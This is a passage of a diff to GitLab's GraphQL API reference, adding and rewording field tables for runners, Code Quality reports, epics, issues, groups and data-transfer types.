Allow list of projects that can access the current project through its CI Job tokens. (see [Connections](#connections)) | +| <a id="cijobtokenscopetypeoutboundallowlist"></a>`outboundAllowlist` | [`ProjectConnection!`](#projectconnection) | Allow list of projects that are accessible using the current project's CI Job tokens. (see [Connections](#connections)) | +| <a id="cijobtokenscopetypeprojects"></a>`projects` **{warning-solid}** | [`ProjectConnection!`](#projectconnection) | **Deprecated** in 15.9. The `projects` attribute is being deprecated. Use `outbound_allowlist`. | ### `CiJobsDurationStatistics` @@ -11346,6 +11544,7 @@ CI/CD variables for a project. | <a id="cirunnercreatedat"></a>`createdAt` | [`Time`](#time) | Timestamp of creation of this runner. | | <a id="cirunnerdescription"></a>`description` | [`String`](#string) | Description of the runner. | | <a id="cirunnereditadminurl"></a>`editAdminUrl` | [`String`](#string) | Admin form URL of the runner. Only available for administrators. | +| <a id="cirunnerephemeralauthenticationtoken"></a>`ephemeralAuthenticationToken` **{warning-solid}** | [`String`](#string) | **Introduced** in 15.9. This feature is in Alpha. It can be changed or removed at any time. Ephemeral authentication token used for runner machine registration. | | <a id="cirunnerexecutorname"></a>`executorName` | [`String`](#string) | Executor last advertised by the runner. | | <a id="cirunnergroups"></a>`groups` | [`GroupConnection`](#groupconnection) | Groups the runner is associated with. For group runners only. (see [Connections](#connections)) | | <a id="cirunnerid"></a>`id` | [`CiRunnerID!`](#cirunnerid) | ID of the runner. | @@ -11354,7 +11553,7 @@ CI/CD variables for a project. | <a id="cirunnerjobexecutionstatus"></a>`jobExecutionStatus` **{warning-solid}** | [`CiRunnerJobExecutionStatus`](#cirunnerjobexecutionstatus) | **Introduced** in 15.7. This feature is in Alpha. It can be changed or removed at any time. Job execution status of the runner. | | <a id="cirunnerlocked"></a>`locked` | [`Boolean`](#boolean) | Indicates the runner is locked. | | <a id="cirunnermaintenancenote"></a>`maintenanceNote` | [`String`](#string) | Runner's maintenance notes. | -| <a id="cirunnermaintenancenotehtml"></a>`maintenanceNoteHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `maintenance_note`. | +| <a id="cirunnermaintenancenotehtml"></a>`maintenanceNoteHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `maintenance_note`. | | <a id="cirunnermaximumtimeout"></a>`maximumTimeout` | [`Int`](#int) | Maximum timeout (in seconds) for jobs processed by the runner. | | <a id="cirunnerownerproject"></a>`ownerProject` | [`Project`](#project) | Project that owns the runner. For project runners only. | | <a id="cirunnerpaused"></a>`paused` | [`Boolean!`](#boolean) | Indicates the runner is paused and not available to run jobs. | @@ -11561,12 +11760,29 @@ Represents a code quality degradation on the pipeline. | Name | Type | Description | | ---- | ---- | ----------- | | <a id="codequalitydegradationdescription"></a>`description` | [`String!`](#string) | Description of the code quality degradation. | +| <a id="codequalitydegradationenginename"></a>`engineName` | [`String!`](#string) | Code Quality plugin that reported the finding. | | <a id="codequalitydegradationfingerprint"></a>`fingerprint` | [`String!`](#string) | Unique fingerprint to identify the code quality degradation. For example, an MD5 hash. | | <a id="codequalitydegradationline"></a>`line` | [`Int!`](#int) | Line on which the code quality degradation occurred. | | <a id="codequalitydegradationpath"></a>`path` | [`String!`](#string) | Relative path to the file containing the code quality degradation. | | <a id="codequalitydegradationseverity"></a>`severity` | [`CodeQualityDegradationSeverity!`](#codequalitydegradationseverity) | Status of the degradation (BLOCKER, CRITICAL, MAJOR, MINOR, INFO, UNKNOWN). | | <a id="codequalitydegradationweburl"></a>`webUrl` | [`String`](#string) | URL to the file along with line number. | +### `CodeQualityReportSummary` + +Code Quality report for a pipeline. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="codequalityreportsummaryblocker"></a>`blocker` | [`Int`](#int) | Total number of blocker status. | +| <a id="codequalityreportsummarycount"></a>`count` | [`Int`](#int) | Total number of Code Quality reports. | +| <a id="codequalityreportsummarycritical"></a>`critical` | [`Int`](#int) | Total number of critical status. | +| <a id="codequalityreportsummaryinfo"></a>`info` | [`Int`](#int) | Total number of info status. | +| <a id="codequalityreportsummarymajor"></a>`major` | [`Int`](#int) | Total number of major status. | +| <a id="codequalityreportsummaryminor"></a>`minor` | [`Int`](#int) | Total number of minor status. | +| <a id="codequalityreportsummaryunknown"></a>`unknown` | [`Int`](#int) | Total number of unknown status. | + ### `Commit` #### Fields @@ -11579,9 +11795,9 @@ Represents a code quality degradation on the pipeline. | <a id="commitauthorname"></a>`authorName` | [`String`](#string) | Commit authors name. | | <a id="commitauthoreddate"></a>`authoredDate` | [`Time`](#time) | Timestamp of when the commit was authored. | | <a id="commitdescription"></a>`description` | [`String`](#string) | Description of the commit message. | -| <a id="commitdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="commitdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="commitfulltitle"></a>`fullTitle` | [`String`](#string) | Full title of the commit message. | -| <a id="commitfulltitlehtml"></a>`fullTitleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `full_title`. | +| <a id="commitfulltitlehtml"></a>`fullTitleHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `full_title`. | | <a id="commitid"></a>`id` | [`ID!`](#id) | ID (global ID) of the commit. | | <a id="commitmessage"></a>`message` | [`String`](#string) | Raw commit message. | | <a id="commitsha"></a>`sha` | [`String!`](#string) | SHA1 ID of the commit. | @@ -11589,7 +11805,7 @@ Represents a code quality degradation on the pipeline. | <a id="commitsignature"></a>`signature` | [`CommitSignature`](#commitsignature) | Signature of the commit. | | <a id="commitsignaturehtml"></a>`signatureHtml` | [`String`](#string) | Rendered HTML of the commit signature. | | <a id="committitle"></a>`title` | [`String`](#string) | Title of the commit message. | -| <a id="committitlehtml"></a>`titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | +| <a id="committitlehtml"></a>`titleHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `title`. | | <a id="commitwebpath"></a>`webPath` | [`String!`](#string) | Web path of the commit. | | <a id="commitweburl"></a>`webUrl` | [`String!`](#string) | Web URL of the commit. | @@ -11974,6 +12190,7 @@ Represents a DAST Profile. | <a id="dastprofileeditpath"></a>`editPath` | [`String`](#string) | Relative web path to the edit page of a profile. | | <a id="dastprofileid"></a>`id` | [`DastProfileID!`](#dastprofileid) | ID of the profile. | | <a id="dastprofilename"></a>`name` | [`String`](#string) | Name of the profile. | +| <a id="dastprofiletaglist"></a>`tagList` | [`[String!]`](#string) | Runner tags associated with the profile. | ### `DastProfileBranch` @@ -12028,7 +12245,7 @@ Represents a DAST scanner profile. | <a id="dastscannerprofilescantype"></a>`scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. | | <a id="dastscannerprofileshowdebugmessages"></a>`showDebugMessages` | [`Boolean!`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. | | <a id="dastscannerprofilespidertimeout"></a>`spiderTimeout` | [`Int`](#int) | Maximum number of minutes allowed for the spider to traverse the site. | -| <a id="dastscannerprofiletaglist"></a>`tagList` | [`[String!]`](#string) | Runner tags associated with the scanner profile. | +| <a id="dastscannerprofiletaglist"></a>`tagList` **{warning-solid}** | [`[String!]`](#string) | **Deprecated** in 15.8. Moved to DastProfile. | | <a id="dastscannerprofiletargettimeout"></a>`targetTimeout` | [`Int`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. | | <a id="dastscannerprofileuseajaxspider"></a>`useAjaxSpider` | [`Boolean!`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. | @@ -12107,6 +12324,16 @@ The response from the AdminSidekiqQueuesDeleteJobs mutation. | <a id="deletejobsresponsedeletedjobs"></a>`deletedJobs` | [`Int`](#int) | Number of matching jobs deleted. | | <a id="deletejobsresponsequeuesize"></a>`queueSize` | [`Int`](#int) | Queue size after processing. | +### `DeletedNote` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="deletednotediscussionid"></a>`discussionId` | [`DiscussionID`](#discussionid) | ID of the discussion for the deleted note. | +| <a id="deletednoteid"></a>`id` | [`NoteID!`](#noteid) | ID of the deleted note. | +| <a id="deletednotelastdiscussionnote"></a>`lastDiscussionNote` | [`Boolean`](#boolean) | Whether deleted note is the last note in the discussion. | + ### `DependencyProxyBlob` Dependency proxy blob. @@ -12217,7 +12444,7 @@ The deployment of an environment. | <a id="deploymentsha"></a>`sha` | [`String`](#string) | Git-SHA that the deployment ran on. | | <a id="deploymentstatus"></a>`status` | [`DeploymentStatus`](#deploymentstatus) | Status of the deployment. | | <a id="deploymenttag"></a>`tag` | [`Boolean`](#boolean) | True or false if the deployment ran on a Git-tag. | -| <a id="deploymenttags"></a>`tags` | [`[DeploymentTag!]`](#deploymenttag) | Git tags that contain this deployment. This field can only be resolved for one deployment in any single request. | +| <a id="deploymenttags"></a>`tags` | [`[DeploymentTag!]`](#deploymenttag) | Git tags that contain this deployment. This field can only be resolved for two deployments in any single request. | | <a id="deploymenttriggerer"></a>`triggerer` | [`UserCore`](#usercore) | User who executed the deployment. | | <a id="deploymentupdatedat"></a>`updatedAt` | [`Time`](#time) | When the deployment record was updated. | | <a id="deploymentuserpermissions"></a>`userPermissions` | [`DeploymentPermissions!`](#deploymentpermissions) | Permissions for the current user on the resource. | @@ -12713,6 +12940,19 @@ Returns [`[DoraMetric!]`](#dorametric). | <a id="dorametricdate"></a>`date` | [`String`](#string) | Date of the data point. | | <a id="dorametricvalue"></a>`value` | [`Float`](#float) | Value of the data point. | +### `EgressNode` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="egressnodeartifactsegress"></a>`artifactsEgress` | [`BigInt!`](#bigint) | Artifacts egress for that project in that period of time. | +| <a id="egressnodedate"></a>`date` | [`String!`](#string) | First day of the node range. There is one node per month. | +| <a id="egressnodepackagesegress"></a>`packagesEgress` | [`BigInt!`](#bigint) | Packages egress for that project in that period of time. | +| <a id="egressnoderegistryegress"></a>`registryEgress` | [`BigInt!`](#bigint) | Registery egress for that project in that period of time. | +| <a id="egressnoderepositoryegress"></a>`repositoryEgress` | [`BigInt!`](#bigint) | Repository egress for that project in that period of time. | +| <a id="egressnodetotalegress"></a>`totalEgress` | [`BigInt!`](#bigint) | Total egress for that project in that period of time. | + ### `Email` #### Fields @@ -12826,7 +13066,7 @@ Represents an epic. | <a id="epicdescendantcounts"></a>`descendantCounts` | [`EpicDescendantCount`](#epicdescendantcount) | Number of open and closed descendant epics and issues. | | <a id="epicdescendantweightsum"></a>`descendantWeightSum` | [`EpicDescendantWeights`](#epicdescendantweights) | Total weight of open and closed issues in the epic and its descendants. | | <a id="epicdescription"></a>`description` | [`String`](#string) | Description of the epic. | -| <a id="epicdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="epicdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="epicdiscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) | | <a id="epicdownvotes"></a>`downvotes` | [`Int!`](#int) | Number of downvotes the epic has received. | | <a id="epicduedate"></a>`dueDate` | [`Time`](#time) | Due date of the epic. | @@ -12858,7 +13098,7 @@ Represents an epic. | <a id="epicsubscribed"></a>`subscribed` | [`Boolean!`](#boolean) | Indicates the currently logged in user is subscribed to the epic. | | <a id="epictextcolor"></a>`textColor` | [`String`](#string) | Text color generated for the epic. Returns `null` if `epic_color_highlight` feature flag is disabled. | | <a id="epictitle"></a>`title` | [`String`](#string) | Title of the epic. | -| <a id="epictitlehtml"></a>`titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | +| <a id="epictitlehtml"></a>`titleHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `title`. | | <a id="epicupdatedat"></a>`updatedAt` | [`Time`](#time) | Timestamp of when the epic was updated. | | <a id="epicupvotes"></a>`upvotes` | [`Int!`](#int) | Number of upvotes the epic has received. | | <a id="epicuserdiscussionscount"></a>`userDiscussionsCount` | [`Int!`](#int) | Number of user discussions in the epic. | @@ -12898,6 +13138,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="epicancestorsmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | | <a id="epicancestorsmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | | <a id="epicancestorsnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | +| <a id="epicancestorsor"></a>`or` **{warning-solid}** | [`UnionedEpicFilterInput`](#unionedepicfilterinput) | **Introduced** in 15.9. This feature is in Alpha. It can be changed or removed at any time. List of arguments with inclusive OR. Ignored unless `or_issuable_queries` flag is enabled. | | <a id="epicancestorssearch"></a>`search` | [`String`](#string) | Search query for title or description. | | <a id="epicancestorssort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | | <a id="epicancestorsstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | @@ -12936,6 +13177,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="epicchildrenmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | | <a id="epicchildrenmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | | <a id="epicchildrennot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | +| <a id="epicchildrenor"></a>`or` **{warning-solid}** | [`UnionedEpicFilterInput`](#unionedepicfilterinput) | **Introduced** in 15.9. This feature is in Alpha. It can be changed or removed at any time. List of arguments with inclusive OR. Ignored unless `or_issuable_queries` flag is enabled. | | <a id="epicchildrensearch"></a>`search` | [`String`](#string) | Search query for title or description. | | <a id="epicchildrensort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | | <a id="epicchildrenstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | @@ -13067,7 +13309,7 @@ Relationship between an epic and an issue. | <a id="epicissuecreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. | | <a id="epicissuecustomerrelationscontacts"></a>`customerRelationsContacts` | [`CustomerRelationsContactConnection`](#customerrelationscontactconnection) | Customer relations contacts of the issue. (see [Connections](#connections)) | | <a id="epicissuedescription"></a>`description` | [`String`](#string) | Description of the issue. | -| <a id="epicissuedescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="epicissuedescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="epicissuedesigncollection"></a>`designCollection` | [`DesignCollection`](#designcollection) | Collection of design images associated with this issue. | | <a id="epicissuediscussionlocked"></a>`discussionLocked` | [`Boolean!`](#boolean) | Indicates discussion is locked on the issue. | | <a id="epicissuediscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) | @@ -13080,7 +13322,7 @@ Relationship between an epic and an issue. | <a id="epicissueescalationstatus"></a>`escalationStatus` | [`IssueEscalationStatus`](#issueescalationstatus) | Escalation status of the issue. | | <a id="epicissuehasepic"></a>`hasEpic` | [`Boolean!`](#boolean) | Indicates if the issue belongs to an epic. Can return true and not show an associated epic when the user has no access to the epic. | | <a id="epicissuehealthstatus"></a>`healthStatus` | [`HealthStatus`](#healthstatus) | Current health status. | -| <a id="epicissuehidden"></a>`hidden` | [`Boolean`](#boolean) | Indicates the issue is hidden because the author has been banned. Will always return `null` if `ban_user_feature_flag` feature flag is disabled. | +| <a id="epicissuehidden"></a>`hidden` | [`Boolean`](#boolean) | Indicates the issue is hidden because the author has been banned. | | <a id="epicissuehumantimeestimate"></a>`humanTimeEstimate` | [`String`](#string) | Human-readable time estimate of the issue. | | <a id="epicissuehumantotaltimespent"></a>`humanTotalTimeSpent` | [`String`](#string) | Human-readable total time reported as spent on the issue. | | <a id="epicissueid"></a>`id` | [`ID`](#id) | Global ID of the epic-issue relation. | @@ -13095,6 +13337,7 @@ Relationship between an epic and an issue. | <a id="epicissuenotes"></a>`notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. (see [Connections](#connections)) | | <a id="epicissueparticipants"></a>`participants` | [`UserCoreConnection`](#usercoreconnection) | List of participants in the issue. (see [Connections](#connections)) | | <a id="epicissueprojectid"></a>`projectId` | [`Int!`](#int) | ID of the issue project. | +| <a id="epicissuerelatedmergerequests"></a>`relatedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests related to the issue. This field can only be resolved for one issue in any single request. (see [Connections](#connections)) | | <a id="epicissuerelatedvulnerabilities"></a>`relatedVulnerabilities` | [`VulnerabilityConnection`](#vulnerabilityconnection) | Related vulnerabilities of the issue. (see [Connections](#connections)) | | <a id="epicissuerelationpath"></a>`relationPath` | [`String`](#string) | URI path of the epic-issue relation. | | <a id="epicissuerelativeposition"></a>`relativePosition` | [`Int`](#int) | Relative position of the issue (used for positioning in epic tree and issue boards). | @@ -13107,7 +13350,7 @@ Relationship between an epic and an issue. | <a id="epicissuetimeestimate"></a>`timeEstimate` | [`Int!`](#int) | Time estimate of the issue. | | <a id="epicissuetimelogs"></a>`timelogs` | [`TimelogConnection!`](#timelogconnection) | Timelogs on the issue. (see [Connections](#connections)) | | <a id="epicissuetitle"></a>`title` | [`String!`](#string) | Title of the issue. | -| <a id="epicissuetitlehtml"></a>`titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | +| <a id="epicissuetitlehtml"></a>`titleHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `title`. | | <a id="epicissuetotaltimespent"></a>`totalTimeSpent` | [`Int!`](#int) | Total time reported as spent on the issue. | | <a id="epicissuetype"></a>`type` | [`IssueType`](#issuetype) | Type of the issue. | | <a id="epicissueupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the issue was last updated. | @@ -13689,7 +13932,6 @@ GPG signature for a signed commit. | <a id="groupallowstalerunnerpruning"></a>`allowStaleRunnerPruning` | [`Boolean!`](#boolean) | Indicates whether to regularly prune stale group runners. Defaults to false. | | <a id="groupautodevopsenabled"></a>`autoDevopsEnabled` | [`Boolean`](#boolean) | Indicates whether Auto DevOps is enabled for all projects within this group. | | <a id="groupavatarurl"></a>`avatarUrl` | [`String`](#string) | Avatar URL of the group. | -| <a id="groupcivariables"></a>`ciVariables` | [`CiGroupVariableConnection`](#cigroupvariableconnection) | List of the group's CI/CD variables. (see [Connections](#connections)) | | <a id="groupcontainerrepositoriescount"></a>`containerRepositoriesCount` | [`Int!`](#int) | Number of container repositories in the group. | | <a id="groupcontainslockedprojects"></a>`containsLockedProjects` | [`Boolean!`](#boolean) | Includes at least one project where the repository size exceeds the limit. | | <a id="groupcrossprojectpipelineavailable"></a>`crossProjectPipelineAvailable` | [`Boolean!`](#boolean) | Indicates if the cross_project_pipeline feature is available for the namespace. | @@ -13703,7 +13945,7 @@ GPG signature for a signed commit. | <a id="groupdependencyproxysetting"></a>`dependencyProxySetting` | [`DependencyProxySetting`](#dependencyproxysetting) | Dependency Proxy settings for the group. | | <a id="groupdependencyproxytotalsize"></a>`dependencyProxyTotalSize` | [`String!`](#string) | Total size of the dependency proxy cached images. | | <a id="groupdescription"></a>`description` | [`String`](#string) | Description of the namespace. | -| <a id="groupdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="groupdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="groupdora"></a>`dora` | [`Dora`](#dora) | Group's DORA metrics. | | <a id="groupemailsdisabled"></a>`emailsDisabled` | [`Boolean`](#boolean) | Indicates if a group has email notifications disabled. | | <a id="groupenforcefreeusercap"></a>`enforceFreeUserCap` | [`Boolean`](#boolean) | Indicates whether the group has limited users for a free plan. | @@ -13783,6 +14025,22 @@ four standard [pagination arguments](#connection-pagination-arguments): | ---- | ---- | ----------- | | <a id="groupboardsid"></a>`id` | [`BoardID`](#boardid) | Find a board by its ID. | +##### `Group.ciVariables` + +List of the group's CI/CD variables. + +Returns [`CiGroupVariableConnection`](#cigroupvariableconnection). + +This field returns a [connection](#connections). It accepts the +four standard [pagination arguments](#connection-pagination-arguments): +`before: String`, `after: String`, `first: Int`, `last: Int`. + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="groupcivariablessort"></a>`sort` | [`CiVariableSort`](#civariablesort) | Sort order of results. | + ##### `Group.clusterAgents` Cluster agents associated with projects in the group and its subgroups. @@ -13897,6 +14155,19 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="groupcontributionsfrom"></a>`from` | [`ISO8601Date!`](#iso8601date) | Start date of the reporting time range. | | <a id="groupcontributionsto"></a>`to` | [`ISO8601Date!`](#iso8601date) | End date of the reporting time range. The end date must be within 31 days after the start date. | +##### `Group.dataTransfer` + +Data transfer data point for a specific period. This is mocked data under a development feature flag. + +Returns [`GroupDataTransfer`](#groupdatatransfer). + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="groupdatatransferfrom"></a>`from` | [`Date`](#date) | Retain egress data for 1 year. Current month will increase dynamically as egress occurs. | +| <a id="groupdatatransferto"></a>`to` | [`Date`](#date) | End date for the data. | + ##### `Group.descendantGroups` List of descendant groups of this group. @@ -13940,6 +14211,7 @@ Returns [`Epic`](#epic). | <a id="groupepicmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | | <a id="groupepicmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | | <a id="groupepicnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | +| <a id="groupepicor"></a>`or` **{warning-solid}** | [`UnionedEpicFilterInput`](#unionedepicfilterinput) | **Introduced** in 15.9. This feature is in Alpha. It can be changed or removed at any time. List of arguments with inclusive OR. Ignored unless `or_issuable_queries` flag is enabled. | | <a id="groupepicsearch"></a>`search` | [`String`](#string) | Search query for title or description. | | <a id="groupepicsort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | | <a id="groupepicstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | @@ -13990,6 +14262,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="groupepicsmilestonetitle"></a>`milestoneTitle` | [`String`](#string) | Filter epics by milestone title, computed from epic's issues. | | <a id="groupepicsmyreactionemoji"></a>`myReactionEmoji` | [`String`](#string) | Filter by reaction emoji applied by the current user. | | <a id="groupepicsnot"></a>`not` | [`NegatedEpicFilterInput`](#negatedepicfilterinput) | Negated epic arguments. | +| <a id="groupepicsor"></a>`or` **{warning-solid}** | [`UnionedEpicFilterInput`](#unionedepicfilterinput) | **Introduced** in 15.9. This feature is in Alpha. It can be changed or removed at any time. List of arguments with inclusive OR. Ignored unless `or_issuable_queries` flag is enabled. | | <a id="groupepicssearch"></a>`search` | [`String`](#string) | Search query for title or description. | | <a id="groupepicssort"></a>`sort` | [`EpicSort`](#epicsort) | List epics by sort order. | | <a id="groupepicsstartdate"></a>`startDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.start. | @@ -14311,6 +14584,24 @@ four standard [pagination arguments](#connection-pagination-arguments): | <a id="groupprojectsincludesubgroups"></a>`includeSubgroups` | [`Boolean`](#boolean) | Include also subgroup projects. | | <a id="groupprojectssearch"></a>`search` | [`String`](#string) | Search project with most similar names or paths. | | <a id="groupprojectssort"></a>`sort` | [`NamespaceProjectSort`](#namespaceprojectsort) | Sort projects by this criteria. | +| <a id="groupprojectswithissuesenabled"></a>`withIssuesEnabled` | [`Boolean`](#boolean) | Return only projects with issues enabled. | +| <a id="groupprojectswithmergerequestsenabled"></a>`withMergeRequestsEnabled` | [`Boolean`](#boolean) | Return only projects with merge requests enabled. | + +##### `Group.releases` + +Releases belonging to projects in the group. + +Returns [`ReleaseConnection`](#releaseconnection). + +This field returns a [connection](#connections). It accepts the +four standard [pagination arguments](#connection-pagination-arguments): +`before: String`, `after: String`, `first: Int`, `last: Int`. + +###### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="groupreleasessort"></a>`sort` | [`GroupReleaseSort`](#groupreleasesort) | Sort group releases by given criteria. | ##### `Group.runners` @@ -14486,6 +14777,14 @@ four standard [pagination arguments](#connection-pagination-arguments): | ---- | ---- | ----------- | | <a id="groupworkitemtypestaskable"></a>`taskable` | [`Boolean`](#boolean) | If `true`, only taskable work item types will be returned. Argument is experimental and can be removed in the future without notice. | +### `GroupDataTransfer` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| <a id="groupdatatransferegressnodes"></a>`egressNodes` | [`EgressNodeConnection`](#egressnodeconnection) | Data nodes. (see [Connections](#connections)) | + ### `GroupMember` Represents a Group Membership. @@ -14779,7 +15078,7 @@ Describes an issuable resource link for incident issues. | <a id="issuecreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of when the issue was created. | | <a id="issuecustomerrelationscontacts"></a>`customerRelationsContacts` | [`CustomerRelationsContactConnection`](#customerrelationscontactconnection) | Customer relations contacts of the issue. (see [Connections](#connections)) | | <a id="issuedescription"></a>`description` | [`String`](#string) | Description of the issue. | -| <a id="issuedescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="issuedescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a id="issuedesigncollection"></a>`designCollection` | [`DesignCollection`](#designcollection) | Collection of design images associated with this issue. | | <a id="issuediscussionlocked"></a>`discussionLocked` | [`Boolean!`](#boolean) | Indicates discussion is locked on the issue. | | <a id="issuediscussions"></a>`discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) | @@ -14791,7 +15090,7 @@ Describes an issuable resource link for incident issues. | <a id="issueescalationstatus"></a>`escalationStatus` | [`IssueEscalationStatus`](#issueescalationstatus) | Escalation status of the issue. | | <a id="issuehasepic"></a>`hasEpic` | [`Boolean!`](#boolean) | Indicates if the issue belongs to an epic. Can return true and not show an associated epic when the user has no access to the epic. | | <a id="issuehealthstatus"></a>`healthStatus` | [`HealthStatus`](#healthstatus) | Current health status. | -| <a id="issuehidden"></a>`hidden` | [`Boolean`](#boolean) | Indicates the issue is hidden because the author has been banned. Will always return `null` if `ban_user_feature_flag` feature flag is disabled. | +| <a id="issuehidden"></a>`hidden` | [`Boolean`](#boolean) | Indicates the issue is hidden because the author has been banned. | | <a id="issuehumantimeestimate"></a>`humanTimeEstimate` | [`String`](#string) | Human-readable time estimate of the issue. | | <a id="issuehumantotaltimespent"></a>`humanTotalTimeSpent` | [`String`](#string) | Human-readable total time reported as spent on the issue. | | <a id="issueid"></a>`id` | [`ID!`](#id) | ID of the issue. | @@ -14806,6 +15105,7 @@ Describes an issuable resource link for incident issues. | <a id="issuenotes"></a>`notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. (see [Connections](#connections)) | | <a id="issueparticipants"></a>`participants` | [`UserCoreConnection`](#usercoreconnection) | List of participants in the issue. (see [Connections](#connections)) | | <a id="issueprojectid"></a>`projectId` | [`Int!`](#int) | ID of the issue project. | +| <a id="issuerelatedmergerequests"></a>`relatedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests related to the issue. This field can only be resolved for one issue in any single request. (see [Connections](#connections)) | | <a id="issuerelatedvulnerabilities"></a>`relatedVulnerabilities` | [`VulnerabilityConnection`](#vulnerabilityconnection) | Related vulnerabilities of the issue. (see [Connections](#connections)) | | <a id="issuerelativeposition"></a>`relativePosition` | [`Int`](#int) | Relative position of the issue (used for positioning in epic tree and issue boards). | | <a id="issueseverity"></a>`severity` | [`IssuableSeverity`](#issuableseverity) | Severity level of the incident. | @@ -14817,7 +15117,7 @@ Describes an issuable resource link for incident issues. | <a id="issuetimeestimate"></a>`timeEstimate` | [`Int!`](#int) | Time estimate of the issue. | | <a id="issuetimelogs"></a>`timelogs` | [`TimelogConnection!`](#timelogconnection) | Timelogs on the issue. (see [Connections](#connections)) | | <a id="issuetitle"></a>`title` | [`String!`](#string) | Title of the issue. | -| <a id="issuetitlehtml"></a>`titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | +| <a id="issuetitlehtml"></a>`titleHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `title`. | | <a id="issuetotaltimespent"></a>`totalTimeSpent` | [`Int!`](#int) | Total time reported as spent on the issue. | | <a id="issuetype"></a>`type` | [`IssueType`](#issuetype) | Type of the issue. | | <a id="issueupdatedat"></a>`updatedAt` | [`Time!`](#time) | Timestamp of when the issue was last updated. | @@ -14936,7 +15236,7 @@ Represents an iteration object. | ---- | ---- | ----------- | | <a id="iterationcreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of iteration creation. | | <a id="iterationdescription"></a>`description` | [`String`](#string) | Description of the iteration. | -| <a id="iterationdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | +| <a id="iterationdescriptionhtml"></a>`descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | <a 